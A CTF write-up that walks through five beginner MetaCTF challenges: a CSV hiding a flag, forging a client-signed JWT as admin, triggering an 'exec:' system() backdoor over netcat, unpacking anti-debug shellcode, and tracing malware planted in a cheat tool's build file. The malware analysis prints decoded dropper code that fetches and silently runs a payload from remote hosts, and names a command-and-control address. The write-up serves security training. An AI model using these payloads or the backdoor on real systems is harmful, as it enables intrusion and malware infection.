️🏴 MetaCTF January 2025 Flash CTF

A monthly mini CTF competition organized by MetaCTF and Antisyphon.

2025-01-26

#ctf

A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training, TCM Security, Simply Cyber Academy. There will be 5 challenges and you will have 2 hours to solve as many as you can. This is a beginner-friendly CTF.

Details here: https://app.metactf.com/join/jan2025.

Cooked Books

We signed up for a new digital library provider, but the numbers they're giving us for the amount of times that our banned book selection is getting borrowed doesn't seem right, we believe they're hiding some sort of message in the report.

Download the report here.

The data look something like this:

TitleAuthorTimes BorrowedAvg Rating
To Kill a MockingbirdHarper Lee774.26
1984George Orwell1014.2
The Catcher in the RyeJ.D. Salinger1163.8
The Handmaid's TaleMargaret Atwood974.14
Fahrenheit 451Ray Bradbury673.96
The Bluest EyeToni Morrison844.12
Of Mice and MenJohn Steinbeck703.89
Animal FarmGeorge Orwell1234.0
Lord of the FliesWilliam Golding493.7

As implied by the description, the Times Borrowed is suspiciously in the ASCII range for all rows:

>>> import csv
>>> with open("banned_books_report.csv") as i:
...     print(
...         "".join(chr(int(book["Times Borrowed"])) for book in csv.DictReader(i))
...     )
...
MetaCTF{1nf0rm4ti0n_1s_p0w3r}

Trading Places

My friends Hannah and Steven from college are starting up a new fintech company. They sent me the link to their trading platform so I can take a look (in demo mode). It's supposedly quite secure, using the latest in cryptographic standards.

Why don't you take a look?

The site provides guest:guest credentials to authenticate, after which it kindly informs users that:

Guest preview mode enabled - admin login required to make trades.

Once authenticated, we're provided a JWT. However, the actual process that sets said JWT is a little odd:

<script type="module">
    import * as jose from 'https://cdn.jsdelivr.net/npm/jose@latest/dist/browser/index.js';
    const { SignJWT } = jose;

    window.onload = function () {
        document.getElementById('login-form').onsubmit = async (e) => {
            e.preventDefault();
            const formData = new FormData(e.target);
            const user = formData.get('username');
            const pass = formData.get('password');
            const response = await fetch('/login', {
                method: 'POST',
                body: new URLSearchParams({
                    username: user,
                    password: pass
                }),
                headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
            });
            let resp = await response.json();
            if ("success" in resp) {
                const token = new TextEncoder().encode(response.headers.get("jwt"));
                const jwt = await new SignJWT({ sub: user })
                    .setProtectedHeader({ alg: "HS256" })
                    .setIssuedAt()
                    .setExpirationTime("2h")
                    .sign(token);
                document.cookie = "jwt=" + jwt;
                window.location.href = "/dashboard";
            } else {
                alert("Incorrect username or password.");
            }
        };
    }
</script>

Having authenticated as guest, the resulting token is signed but the sub is derived and the token signed client-side: can sub be set to admin?

Adapting the above and using the browser console:

import('https://cdn.jsdelivr.net/npm/jose@latest/dist/browser/index.js').then(m => jose = m);
const { SignJWT } = jose;

const user = 'guest';
const pass = 'guest'
const response = await fetch('/login', {
    method: 'POST',
    body: new URLSearchParams({
        username: user,
        password: pass
    }),
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
});

let resp = await response.json();
if ("success" in resp) {
    const token = new TextEncoder().encode(response.headers.get("jwt"));
    const jwt = await new SignJWT({ sub: 'admin' })
        .setProtectedHeader({ alg: "HS256" })
        .setIssuedAt()
        .setExpirationTime("2h")
        .sign(token);
    document.cookie = "jwt=" + jwt;
    window.location.href = "/dashboard";
} else {
    alert("Incorrect username or password.");
}

The dashboard then contains:

<h2>The flag is <code>MetaCTF{cli3nt_s1d3_crypt0graph1c5}</code></h2>
<center><p>Congrats!</p></center>

Rear Hatch

We've been getting a lot of suspicious reports in our Maintenance Schedule Management application, we're worried that the contractor who we had write the application may have included some sort of backdoor, can you check it out?

Download the source code here, then when you're ready, connect to the real service with nc kubenode.mctf.io 30014

The source code does indeed contain this odd function:

void markRequestCompleted() {
    int id;
    printf("Enter the ID of the request to mark as completed: ");
    scanf("%d", &id);
    for (int i = 0; i < requestCount; i++) {
        if (requests[i].id == id && (strncmp((char *)requests+i*264+4,"\x65\x78\x65\x63\x3a",5)==0?system((char *)requests+i*264+9),1:1)) {
            requests[i].isCompleted = 1;
            saveRequests();
            printf("Request marked as completed.\n");
            return;
        }
    }
    printf("Request with ID %d not found.\n", id);
    return;
}

Odd insofar as those bytes have an interesting meaning:

>>> print("\x65\x78\x65\x63\x3a")
exec:

So if a request starts with exec:, system() will be called against the subsequent bytes.

However, it's not clear where the flag is but that can be determined readily enough:

 nc kubenode.mctf.io 30014
No existing data file found. Starting fresh.

=== Maintenance Schedule Management ===
1. Add Maintenance Request
2. View Maintenance Requests
3. Delete Maintenance Request
4. Mark Request as Completed
5. Exit
=======================================
Enter your choice: 1
Enter description for the maintenance request: exec:ls
Request added successfully.

=== Maintenance Schedule Management ===
1. Add Maintenance Request
2. View Maintenance Requests
3. Delete Maintenance Request
4. Mark Request as Completed
5. Exit
=======================================
Enter your choice: 4
Enter the ID of the request to mark as completed: 1
flag.txt
run
Request marked as completed.

Oh. I should have guessed.

=== Maintenance Schedule Management ===
1. Add Maintenance Request
2. View Maintenance Requests
3. Delete Maintenance Request
4. Mark Request as Completed
5. Exit
=======================================
Enter your choice: 1
Enter description for the maintenance request: exec:cat flag.txt
Request added successfully.

=== Maintenance Schedule Management ===
1. Add Maintenance Request
2. View Maintenance Requests
3. Delete Maintenance Request
4. Mark Request as Completed
5. Exit
=======================================
Enter your choice: 4
Enter the ID of the request to mark as completed: 2
MetaCTF{4lw4ys_r34d_4ll_7h3_c0d3}Request marked as completed.

I Heard You Liked Loaders

I hope you like mine :)

Download the loader here.

Yeah. "Loaders". I definitely know what's meant in this context.

Anyway…

Courtesy of BinaryNinja:

int64_t main()
{
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    int64_t rax_1 = mmap(0, 0x400, 7, 0x22, 0xffffffff, 0);
    __builtin_memcpy(rax_1, "\xbf\x01\x00\x00\x00\x48\x31\xf6\x48\x31\xd2\x4d\x31\xd2\xb8\x65\x00\x00\x00\x0f\x05\x48\x83\xf8\x00\x75\x02\xeb\x0a\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05\xe8\x00\x00\x00\x00\x48\x8d\x35\x1e\x00\x00\x00\x48\xff\xce\x8a\x06\x84\xc0\x74\x14\x8a\x5e\x01\x30\xd8\x32\x46\xff\x2c\x07\x88\x06\x48\xff\xc6\xeb\xe9\xff\xe6\x90\xff\x20\x50\xa6\x29\x59\xb8\x3e\x4e\xa6\x3b\x4b\x87\x3e\x4e\x79\xd2\xa7\x51\xc5\xb0\x51\xcc\xb9\x51\xd7\xa2\x71\x79\xfa\x26\xa7\x85\xa2\xa5\xa2\x1a\x3c\xe3\x3f\xae\xbc\xbb\xbc\xbb\xf4\xba\x82\x0d\x43\x71\x8e\xb3\x34\xb3\xf4\x34\xb0\x49\x41\x47\x40\x3a\x40\x44\x52\x27\x20\x27\x85\x53\x8a\xba\xb7\x43\x66\x80\x8e\xd8\x22\x3f\x89\x87\xdf\x3b\x0e\xd0\x80\xd7\x45\x2c\xad\xb2\xc7\x01\x73\x8e\xd4\xf0\x27\x05\xdb\x8b\x8f\x3f\x03\x82\x9d\xca\xf9\x4c\xc4\x44\xac\x6b\x50\x57\x6f\xa9\x48\x00\xcc\x00", 0xcb);
    rax_1();
    
    if (rax == *(uint64_t*)((char*)fsbase + 0x28))
        return 0;
    
    return __stack_chk_fail();
}

…and courtesy of CyberChef (stripping all the \x and using its "Disassemble x86" operation), the above encoded shellcode appears to be:

0000000000000000 BF01000000                      MOV EDI,00000001
0000000000000005 4831F6                          XOR RSI,RSI
0000000000000008 4831D2                          XOR RDX,RDX
000000000000000B 4D31D2                          XOR R10,R10
000000000000000E B865000000                      MOV EAX,00000065
0000000000000013 0F05                            SYSCALL
0000000000000015 4883F800                        CMP RAX,0000000000000000
0000000000000019 7502                            JNE 000000000000001D
000000000000001B EB0A                            JMP 0000000000000027
000000000000001D 4831FF                          XOR RDI,RDI
0000000000000020 B83C000000                      MOV EAX,0000003C
0000000000000025 0F05                            SYSCALL
0000000000000027 E800000000                      CALL 0000000-FFFFFFD4
000000000000002C 488D351E000000                  LEA RSI,[0000000-FFFFFFAF]
0000000000000033 48FFCE                          DEC RSI
0000000000000036 8A06                            MOV AL,BYTE PTR [RSI]
0000000000000038 84C0                            TEST AL,AL
000000000000003A 7414                            JE 0000000000000050
000000000000003C 8A5E01                          MOV BL,BYTE PTR [RSI+01]
000000000000003F 30D8                            XOR AL,BL
0000000000000041 3246FF                          XOR AL,BYTE PTR [RSI-01]
0000000000000044 2C07                            SUB AL,07
0000000000000046 8806                            MOV BYTE PTR [RSI],AL
0000000000000048 48FFC6                          INC RSI
000000000000004B EBE9                            JMP 0000000000000036
000000000000004D FFE6                            JMP RSI
000000000000004F 90                              NOP
0000000000000050 FF20                            JMP QWORD PTR [RAX]
0000000000000052 50                              PUSH RAX
0000000000000053 A6                              CMPS BYTE PTR [RDI],BYTE PTR [RSI]
0000000000000054 2959B8                          SUB DWORD PTR [RCX-48],EBX
0000000000000057 3E4EA6                          CMPS BYTE PTR DS:[RDI],BYTE PTR DS:[RSI]
000000000000005A 3B4B87                          CMP ECX,DWORD PTR [RBX-79]
000000000000005D 3E4E79D2                        HT  JNS 0000000000000033
0000000000000061 A7                              CMPS DWORD PTR [RDI],DWORD PTR [RSI]
0000000000000062 51                              PUSH RCX
0000000000000063 C5B051CC                        VSQRTPS XMM1,XMM4
0000000000000067 B951D7A271                      MOV ECX,71A2D751
000000000000006C 79FA                            JNS 0000000000000068
000000000000006E 26A7                            CMPS DWORD PTR ES:[RDI],DWORD PTR ES:[RSI]
0000000000000070 85A2A5A21A3C                    TEST DWORD PTR [RDX+3C1AA2A5],ESP
0000000000000076 E33F                            JRCXZ 00000000000000B7
0000000000000078 AE                              SCAS AL,BYTE PTR [RDI]
0000000000000079 BCBBBCBBF4                      MOV ESP,F4BBBCBB
000000000000007E BA820D4371                      MOV EDX,71430D82
0000000000000083 8EB334B3F434                    MOV ST(-2),WORD PTR [RBX+34F4B334]
0000000000000089 B049                            MOV AL,49
000000000000008B 4147403A4044                    CMP AL,BYTE PTR [RAX+44]
0000000000000091 52                              PUSH RDX
0000000000000092 27                              ???
0000000000000093 2027                            AND BYTE PTR [RDI],AH
0000000000000095 85538A                          TEST DWORD PTR [RBX-76],EDX
0000000000000098 BAB7436680                      MOV EDX,806643B7
000000000000009D 8ED8                            MOV DS,EAX
000000000000009F 223F                            AND BH,BYTE PTR [RDI]
00000000000000A1 8987DF3B0ED0                    MOV DWORD PTR [RDI-2FF1C421],EAX
00000000000000A7 80D745                          ADC BH,45
00000000000000AA 2CAD                            SUB AL,AD
00000000000000AC B2C7                            MOV DL,C7
00000000000000AE 01738E                          ADD DWORD PTR [RBX-72],ESI
00000000000000B1 D4                              ???
00000000000000B2 F027                            ???
00000000000000B4 05DB8B8F3F                      ADD EAX,3F8F8BDB
00000000000000B9 03829DCAF94C                    ADD EAX,DWORD PTR [RDX+4CF9CA9D]
00000000000000BF C444AC6B                        ???
00000000000000C3 50                              PUSH RAX
00000000000000C4 57                              PUSH RDI
00000000000000C5 6F                              OUTS DX,DWORD PTR [RSI]
00000000000000C6 A948000CC0                      TEST EAX,C00C0048

The initial part contains an anti-debugging check, specifically checking for ptrace:

MOV EAX,00000065
SYSCALL

Using pwndbg/pwndbg, it's a little more clear:

0x7ffff7fbf000    mov    edi, 1             EDI => 1
   0x7ffff7fbf005    xor    rsi, rsi           RSI => 0
   0x7ffff7fbf008    xor    rdx, rdx           RDX => 0
   0x7ffff7fbf00b    xor    r10, r10           R10 => 0
   0x7ffff7fbf00e    mov    eax, 0x65          EAX => 0x65
   0x7ffff7fbf013    syscall  <SYS_ptrace>
   0x7ffff7fbf015    cmp    rax, 0

Setting set $rax=0 right before that check is made to bypass it. The program then runs, looping a lot, before dying with this final set of instructions:

   0x7ffff7fbf094    mov    ebx, 0x6174654d     EBX => 0x6174654d
   0x7ffff7fbf099    mov    ebx, 0x7b465443     EBX => 0x7b465443
   0x7ffff7fbf09e    mov    ebx, 0x6564346d     EBX => 0x6564346d
   0x7ffff7fbf0a3    mov    ebx, 0x34306c5f     EBX => 0x34306c5f
   0x7ffff7fbf0a8    mov    ebx, 0x5f723364     EBX => 0x5f723364
0x7ffff7fbf0ad    mov    ebx, 0x72755f34     EBX => 0x72755f34
   0x7ffff7fbf0b2    mov    ebx, 0x61306c5f     EBX => 0x61306c5f
   0x7ffff7fbf0b7    mov    ebx, 0x7d723364     EBX => 0x7d723364
   0x7ffff7fbf0bc    xor    rbx, rbx            RBX => 0
   0x7ffff7fbf0bf    mov    eax, 0x3c           EAX => 0x3c
   0x7ffff7fbf0c4    xor    ecx, eax            ECX => 0 (0x3c ^ 0x3c)
   0x7ffff7fbf0c6    retf

Interestingly though:

>>> 0x6174654d.to_bytes(4)
b'ateM'

Applying that same principle to the rest of the values:

data = """
   0x7ffff7fbf094    mov    ebx, 0x6174654d     EBX => 0x6174654d
   0x7ffff7fbf099    mov    ebx, 0x7b465443     EBX => 0x7b465443
   0x7ffff7fbf09e    mov    ebx, 0x6564346d     EBX => 0x6564346d
   0x7ffff7fbf0a3    mov    ebx, 0x34306c5f     EBX => 0x34306c5f
   0x7ffff7fbf0a8    mov    ebx, 0x5f723364     EBX => 0x5f723364
 ► 0x7ffff7fbf0ad    mov    ebx, 0x72755f34     EBX => 0x72755f34
   0x7ffff7fbf0b2    mov    ebx, 0x61306c5f     EBX => 0x61306c5f
   0x7ffff7fbf0b7    mov    ebx, 0x7d723364     EBX => 0x7d723364
"""

"".join(
    int_.to_bytes(4, byteorder="little").decode()
    for int_ in map(eval, (line.split()[-1] for line in data.strip().splitlines()))
)

Thankfully, that gives:

MetaCTF{m4de_l04d3r_4_ur_l0ad3r}

Whisper Of The Pain

The Valorant gaming community has recently become the target of a mysterious cyber campaign. This operation appears to exploit players who use cheating tools, turning their machines into unwitting pawns in a larger scheme.

Our investigation has led us to the computer of one such victim—a treasure trove of evidence awaits. Your mission is to dive deep, uncover the truth, and pinpoint the IP addresses used by the perpetrators to orchestrate this campaign. However, the analysis of the malicious samples has triggered the attackers. As a result, most of the links to the malicious code have now been taken down. Does this make it more difficult for you?

Download the artifact here. Follow the investigation to it's end and you will uncover the flag.

A quick grep for "cheat" turns up references to one CyberValorant-Cheat-Visual-Aimbot-ESP which sounds suitably promising. The SQLite database at C/Users/IEUser/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/History also contains a reference to the GitHub repo. for that in its urls table: hannah1337/CyberValorant-Cheat-Visual-Aimbot-ESP.

The Valorant-External.vcxproj in that repo. contains this:

<PreBuildEvent>
  <Command>@echo off&#xD;&#xA;setlocal&#xD;&#xA;set "a=%25TEMP%25\a"&#xD;&#xA;mkdir "%25a%25" 2&gt;nul&#xD;&#xA;echo b = "JFIgPSAiPXdtY2dzVG…
</PreBuildEvent>

…well, a whole host of encoded data. With some CyberChef assistance:

…it reduces to this (with some base64 chunks in there):

@echo off
setlocal
set "a=%TEMP%\a"
mkdir "%a%" 2>nul
echo b = "JFIgPSAiPX…" > "%a%\b.vbs"
echo c = "VdvQUNka0FDY…" >> "%a%\b.vbs"
echo d = "JwUjNZdVZuW…" >> "%a%\b.vbs"
echo e = b ^& d ^& c >> "%a%\b.vbs"
echo Set f = CreateObject("MSXml2.DOMDocument.6.0").createElement("base64") >> "%a%\b.vbs"
echo f.DataType = "bin.base64" >> "%a%\b.vbs"
echo f.Text = e >> "%a%\b.vbs"
echo g = f.NodeTypedValue >> "%a%\b.vbs"
echo h = "%a%\i.ps1" >> "%a%\b.vbs"
echo Set j = CreateObject("Scripting.FileSystemObject") >> "%a%\b.vbs"
echo Set k = j.CreateTextFile(h, True) >> "%a%\b.vbs"
echo k.Write l(g) >> "%a%\b.vbs"
echo k.Close >> "%a%\b.vbs"
echo Set m = CreateObject("WScript.Shell") >> "%a%\b.vbs"
echo m.Run "powershell.exe -ExecutionPolicy Bypass -File " ^& h, 0, False >> "%a%\b.vbs"
echo Function l(n) >> "%a%\b.vbs"
echo Dim o, p >> "%a%\b.vbs"
echo Set o = CreateObject("ADODB.Recordset") >> "%a%\b.vbs"
echo p = LenB(n) >> "%a%\b.vbs"
echo If p ^> 0 Then >> "%a%\b.vbs"
echo o.Fields.Append "q", 201, p >> "%a%\b.vbs"
echo o.Open >> "%a%\b.vbs"
echo o.AddNew >> "%a%\b.vbs"
echo o("q").AppendChunk n >> "%a%\b.vbs"
echo o.Update >> "%a%\b.vbs"
echo l = o("q").GetChunk(p) >> "%a%\b.vbs"
echo Else >> "%a%\b.vbs"
echo l = "" >> "%a%\b.vbs"
echo End If >> "%a%\b.vbs"
echo End Function >> "%a%\b.vbs"
cscript //nologo "%a%\b.vbs"
endlocal

…which, after yet more manipulation and base64 decoding gives:

$R = "=wmcgsTfgUWdulGdu92Q5xG…zb3JCIwByegknc0Byegwmcg42bpR3YuVnZ"; $txt = $R.ToCharArray(); [array]::Reverse($txt); $bnb = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(-join $txt)); $exp = "Invoke-Expression"; New-Alias -Name pWN -Value $exp -Force; pWN $bnb

…which after reversing and base64-decoding gives:

function rl { try { p "wo7CucOmwqzCuMKWaMKUw5zCn8K9wr/CqsKIwq7DoGrCqMOLwqbClMOewp/DgXrCkHjCjcKowpbClcK1wpI=" } catch { x } } function x { try { p "wo7CucOmwqzCuMKWaMKUw5zCn8K9wr/CqsKIwq7DoGrCqMOLwqbClMOewp/DgXrCnH7Cu8KlfcKewrDCqw==" } catch { l } } function l { try { p "wo7CucOmwqzCuMKWaMKUw57CqsKzwrhzwonCtMOfa8K5wqZwwq7DonN3woPCu2d0w6TCncK8" } catch { o } } function o { try { p "wo7CucOmwqzCuMKWaMKUw57Co8K4wr/Ct8Kfc8OVwqt0w5ZswpvCnsK2wrXCg8KrVcK3w5PCsw==" } catch { Start-Sleep -Seconds 20; rl } }; function p { param ([string]$e) if (-not $e) { return } try { $d = d -mm $e -k $prooc; $r = Invoke-RestMethod -Uri $d; if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString(); $t = [System.IO.Path]::GetTempPath(); $f = Join-Path $t ($g + ".7z"); $ex = Join-Path $t ([System.Guid]::NewGuid().ToString()); $c = New-Object System.Net.WebClient; $b = $c.DownloadData($dl); if ($b.Length -gt 0) { [System.IO.File]::WriteAllBytes($f, $b); e -a $f -o $ex; $exF = Join-Path $ex "SearchFilter.exe"; if (Test-Path $exF) { Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } } } catch { throw } }; $prooc = "&Er<E\9el>J`KE"; function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm); $s = [System.Text.Encoding]::UTF8.GetString($b); $d = New-Object char[] $s.Length; for ($i = 0; $i -lt $s.Length; $i++) { $c = $s[$i]; $p = $k[$i % $k.Length]; $d[$i] = [char]($c - $p) }; return -join $d } catch { throw } }; $proc = "```$b#{o*%3I,};',W```"n~O@0"; function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i); $s = [System.Text.Encoding]::UTF8.GetString($b); $c = $s -split ' '; $r = ""; foreach ($x in $c) { $r += [char][int]$x }; return $r }; function e { param ([string]$a, [string]$o) $s = "NTAgNTAgNTUgNTEgNTIgNTMgNTQgNTEgNTUgNTAgNTEgNTEgNTUgNTIgNTAgMTAwIDU1IDQ4IDUyIDQ4IDU1IDUxIDU1IDUxIDU1IDU1IDUxIDQ4IDU1IDUwIDU0IDUyIDUwIDUw"; $p = v -i $s; $z = "C:\ProgramData\seventzip\7z.exe"; $arg = "x `"$a`" -o`"$o`" -p$p -y"; Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait }; $d = "C:\ProgramData\seventzip"; if (-not (Test-Path "$d\7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null; $u = "https://www.7-zip.org/a/7zr.exe"; $o = Join-Path -Path $d -ChildPath "7z.exe"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile($u, $o); $wc.Dispose(); Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue; Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue }; rl

Those base64 strings are passed through function d:

function d {
    param ([string]$mm, [string]$k)
    try {
        $b = [System.Convert]::FromBase64String($mm);
        $s = [System.Text.Encoding]::UTF8.GetString($b);
        $d = New-Object char[] $s.Length;
        for ($i = 0; $i -lt $s.Length; $i++) {
            $c = $s[$i];
            $p = $k[$i % $k.Length];
            $d[$i] = [char]($c - $p)
        };
        return -join $d
    } catch {
        throw
    }
};

…where mm is the base64 string and k is the value of prooc: &Er<E\9el>JKE, for example:

PS /mnt> $mm = "wo7CucOmwqzCuMKWaMKUw5zCn8K9wr/CqsKIwq7DoGrCqMOLwqbClMOewp/DgXrCkHjCjcKowpbClcK1wpI=";
PS /mnt> $k = "&Er<E\9el>J`KE";
PS /mnt> d -mm $mm -k $k;
https://pastebin.com/raw/KRH6ZPYY

Repeating that for the remaining 3 base64 chunks yields:

3 of these have been removed but the rlim.com one allows the history to be viewed (after wrangling with the site's over-enthusiastic ads.) and although it now shows REDACTED, previously it was:

w4jCmMOWwpPDrsKpWVTCmsKywqDDpcKwwolawrrDj8KPwp3DpsKwwqPCm8OEwoXDj8KIw6/DkMKgworCpcK8wpHCrMKfwozCmMK/w4lPw5vDo8ODwrLCn8KPwpbDh8KPw6DDkMKdworCpnjCkMOswrLClcKYw4bDgcKGwp3Dq8K0wrTCosOPU8K2d8K/w4HCj8KVwp/CqsKlwqtywqE=

Using the value of proc from the above:

PS /mnt> $k = "```$b#{o*%3I,};',W```"n~O@0";
PS /mnt> d -mm $mm -k $k;
https://github.com/hackdametaverse/delhi-metro/releases/download/metro/TTDReplay.7z

The 7z archive is password protected and the password is again base64 encoded but it's the ASCII values of the characters, not the password directly:

import base64

`"".join(
    map(
        chr,
        map(
            int,
            base64.b64decode(
                "NTAgNTAgNTUgNTEgNTIgNTMgNTQgNTEgNTUgNTAgNTEgNTEgNTUgNTIgNTAgMTAwIDU1IDQ4IDUyIDQ4IDU1IDUxIDU1IDUxIDU1IDU1IDUxIDQ4IDU1IDUwIDU0IDUyIDUwIDUw"
            ).decode().split()
        )
    )
)

Using the resulting password of 227345637233742d704073737730726422 extracts an executable, SearchFilter.exe:

┌──(root㉿psy-xps-13)-[/mnt]
└─# file SearchFilter.exe
SearchFilter.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 2 sections

As it's a .NET executable, ILSpyCmd to the rescue…sort of. Class names and variables appear to be in Chinese (according to Google Translate) making things a touch difficult but thanks to references to things like this:

namespace 人的執她的行人使成澤顧商接太
{
    public class 澤程席成顧受
    {
        public static object 城成生顧的家商席商(string 受將合人顧太孫合承)
        {
            RijndaelManaged rijndaelManaged = new RijndaelManaged();
            MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();

…there's at least some sense of what's happening. This base64 string appears to be encryped:

public static string 為公的敬顧管生人承導太希 = "kxpp2h/dBYdEEY5NSXs4qGq+91pW6PsavDuNGg+u+IXLR0W2o0d5Cdg9OXc8qQ+i";

…with the encryption key being derived from this:

public static string 敬顧執子顧 = "${8',`d0}n,~@J;oZ\"9a";

…from which the code calculates the MD5 and combines the first 15 and then 16 bytes of said hash, plus a final 0:

byte[] array = new byte[32];
byte[] sourceArray = mD5CryptoServiceProvider.ComputeHash(成商澤子金命城.尊的尊澤人希人(家顧玉的澤顧人.敬顧執子顧));
Array.Copy(sourceArray, 0, array, 0, 16);
Array.Copy(sourceArray, 0, array, 15, 16);

…before finally being encrypted:

rijndaelManaged.Key = array;
rijndaelManaged.Mode = CipherMode.ECB;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
byte[] array2 = 成商澤子金命城.尊的尊澤人希人(受將合人顧太孫合承);
result = Convert.ToBase64String(cryptoTransform.TransformFinalBlock(array2, 0, array2.Length));
return result;

With a key of f3758b11f3304f884564a6fb1548e5f3758b11f3304f884564a6fb1548e5d20, decrypting 為公的敬顧管生人承導太希 via CyberChef (base64 decryption and AES/ECB decryption) yields: https://pastebin.com/raw/uyNtUu9p:

 curl https://pastebin.com/raw/uyNtUu9p
98.184.49.53:8080
#MetaCTF{Curs3s_c0mE_h0me_T0_rO0sT}